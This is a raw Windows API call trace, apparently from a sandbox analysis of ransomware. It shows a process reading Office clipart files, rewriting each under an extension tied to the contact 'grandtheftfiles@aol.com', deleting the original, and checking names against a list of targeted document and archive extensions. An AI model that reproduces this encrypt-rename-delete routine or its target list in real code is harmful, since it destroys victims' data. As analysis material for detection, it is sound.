	[0088.897] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.897] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.897] lstrlenW (lpString="HH00669_.WMF") returned 12
	[0088.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.899] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=11490) returned 1
	[0088.900] CloseHandle (hObject=0x390) returned 1
	[0088.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x220
	[0088.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.902] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.902] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0088.903] GetLastError () returned 0x0
	[0088.903] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x2ce2, lpOverlapped=0x0) returned 1
	[0088.904] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x2cf0, lpOverlapped=0x0) returned 1
	[0088.905] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.905] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.905] SetEndOfFile (hFile=0x39c) returned 1
	[0088.906] CloseHandle (hObject=0x39c) returned 1
	[0088.906] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.906] SetEndOfFile (hFile=0x390) returned 1
	[0088.907] CloseHandle (hObject=0x390) returned 1
	[0088.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 1
	[0088.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0088.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0088.907] lstrlenW (lpString=".doc") returned 4
	[0088.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.907] lstrlenW (lpString=".docx") returned 5
	[0088.907] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.907] lstrlenW (lpString=".pdf") returned 4
	[0088.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.907] lstrlenW (lpString=".xls") returned 4
	[0088.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.907] lstrlenW (lpString=".xlsx") returned 5
	[0088.907] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.907] lstrlenW (lpString=".ppt") returned 4
	[0088.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0088.907] lstrlenW (lpString=".zip") returned 4
	[0088.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.907] lstrlenW (lpString=".rar") returned 4
	[0088.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.908] lstrlenW (lpString=".bz2") returned 4
	[0088.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.908] lstrlenW (lpString=".7z") returned 3
	[0088.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0088.908] lstrlenW (lpString=".dbf") returned 4
	[0088.908] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0088.908] lstrlenW (lpString=".1cd") returned 4
	[0088.908] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0088.908] lstrlenW (lpString=".jpg") returned 4
	[0088.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0088.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0088.908] lstrlenW (lpString=".doc") returned 4
	[0088.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.908] lstrlenW (lpString=".docx") returned 5
	[0088.908] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.908] lstrlenW (lpString=".pdf") returned 4
	[0088.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.908] lstrlenW (lpString=".xls") returned 4
	[0088.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.908] lstrlenW (lpString=".xlsx") returned 5
	[0088.908] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.908] lstrlenW (lpString=".ppt") returned 4
	[0088.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0088.908] lstrlenW (lpString=".zip") returned 4
	[0088.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.908] lstrlenW (lpString=".rar") returned 4
	[0088.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.908] lstrlenW (lpString=".bz2") returned 4
	[0088.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.908] lstrlenW (lpString=".7z") returned 3
	[0088.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0088.909] lstrlenW (lpString=".dbf") returned 4
	[0088.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0088.909] lstrlenW (lpString=".1cd") returned 4
	[0088.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0088.909] lstrlenW (lpString=".jpg") returned 4
	[0088.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.909] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.909] lstrlenW (lpString="HH00681_.WMF") returned 12
	[0088.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.909] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=9300) returned 1
	[0088.909] CloseHandle (hObject=0x390) returned 1
	[0088.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x220
	[0088.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.910] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.910] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0088.910] GetLastError () returned 0x0
	[0088.910] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x2454, lpOverlapped=0x0) returned 1
	[0089.170] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x2460, lpOverlapped=0x0) returned 1
	[0089.199] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.199] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.199] SetEndOfFile (hFile=0x39c) returned 1
	[0089.199] CloseHandle (hObject=0x39c) returned 1
	[0089.200] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.200] SetEndOfFile (hFile=0x390) returned 1
	[0089.200] CloseHandle (hObject=0x390) returned 1
	[0089.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 1
	[0089.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0089.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0089.201] lstrlenW (lpString=".doc") returned 4
	[0089.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.201] lstrlenW (lpString=".docx") returned 5
	[0089.201] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.201] lstrlenW (lpString=".pdf") returned 4
	[0089.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.201] lstrlenW (lpString=".xls") returned 4
	[0089.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.201] lstrlenW (lpString=".xlsx") returned 5
	[0089.201] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.201] lstrlenW (lpString=".ppt") returned 4
	[0089.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0089.201] lstrlenW (lpString=".zip") returned 4
	[0089.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.202] lstrlenW (lpString=".rar") returned 4
	[0089.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.202] lstrlenW (lpString=".bz2") returned 4
	[0089.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.202] lstrlenW (lpString=".7z") returned 3
	[0089.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0089.202] lstrlenW (lpString=".dbf") returned 4
	[0089.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0089.202] lstrlenW (lpString=".1cd") returned 4
	[0089.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0089.202] lstrlenW (lpString=".jpg") returned 4
	[0089.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0089.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0089.202] lstrlenW (lpString=".doc") returned 4
	[0089.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.202] lstrlenW (lpString=".docx") returned 5
	[0089.202] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.202] lstrlenW (lpString=".pdf") returned 4
	[0089.202] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.202] lstrlenW (lpString=".xls") returned 4
	[0089.202] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.202] lstrlenW (lpString=".xlsx") returned 5
	[0089.202] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.202] lstrlenW (lpString=".ppt") returned 4
	[0089.202] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0089.202] lstrlenW (lpString=".zip") returned 4
	[0089.202] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.203] lstrlenW (lpString=".rar") returned 4
	[0089.203] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.203] lstrlenW (lpString=".bz2") returned 4
	[0089.203] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.203] lstrlenW (lpString=".7z") returned 3
	[0089.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0089.203] lstrlenW (lpString=".dbf") returned 4
	[0089.203] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0089.203] lstrlenW (lpString=".1cd") returned 4
	[0089.203] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0089.203] lstrlenW (lpString=".jpg") returned 4
	[0089.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.203] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.203] lstrlenW (lpString="HH01759_.WMF") returned 12
	[0089.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0089.204] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=5414) returned 1
	[0089.204] CloseHandle (hObject=0x390) returned 1
	[0089.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x220
	[0089.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0089.204] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.204] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0089.205] GetLastError () returned 0x0
	[0089.205] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x1526, lpOverlapped=0x0) returned 1
	[0089.207] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x1530, lpOverlapped=0x0) returned 1
	[0089.208] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.208] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.208] SetEndOfFile (hFile=0x39c) returned 1
	[0089.208] CloseHandle (hObject=0x39c) returned 1
	[0089.208] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.208] SetEndOfFile (hFile=0x390) returned 1
	[0089.210] CloseHandle (hObject=0x390) returned 1
	[0089.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 1
	[0089.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0089.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0089.210] lstrlenW (lpString=".doc") returned 4
	[0089.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.210] lstrlenW (lpString=".docx") returned 5
	[0089.211] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.211] lstrlenW (lpString=".pdf") returned 4
	[0089.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.211] lstrlenW (lpString=".xls") returned 4
	[0089.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.211] lstrlenW (lpString=".xlsx") returned 5
	[0089.211] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.211] lstrlenW (lpString=".ppt") returned 4
	[0089.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0089.211] lstrlenW (lpString=".zip") returned 4
	[0089.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.211] lstrlenW (lpString=".rar") returned 4
	[0089.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.211] lstrlenW (lpString=".bz2") returned 4
	[0089.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.211] lstrlenW (lpString=".7z") returned 3
	[0089.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0089.211] lstrlenW (lpString=".dbf") returned 4
	[0089.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0089.211] lstrlenW (lpString=".1cd") returned 4
	[0089.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0089.211] lstrlenW (lpString=".jpg") returned 4
	[0089.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0089.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0089.212] lstrlenW (lpString=".doc") returned 4
	[0089.212] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.212] lstrlenW (lpString=".docx") returned 5
	[0089.212] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.212] lstrlenW (lpString=".pdf") returned 4
	[0089.212] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.212] lstrlenW (lpString=".xls") returned 4
	[0089.212] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.212] lstrlenW (lpString=".xlsx") returned 5
	[0089.212] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.212] lstrlenW (lpString=".ppt") returned 4
	[0089.212] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0089.212] lstrlenW (lpString=".zip") returned 4
	[0089.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.212] lstrlenW (lpString=".rar") returned 4
	[0089.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.212] lstrlenW (lpString=".bz2") returned 4
	[0089.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.212] lstrlenW (lpString=".7z") returned 3
	[0089.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0089.212] lstrlenW (lpString=".dbf") returned 4
	[0089.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0089.212] lstrlenW (lpString=".1cd") returned 4
	[0089.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
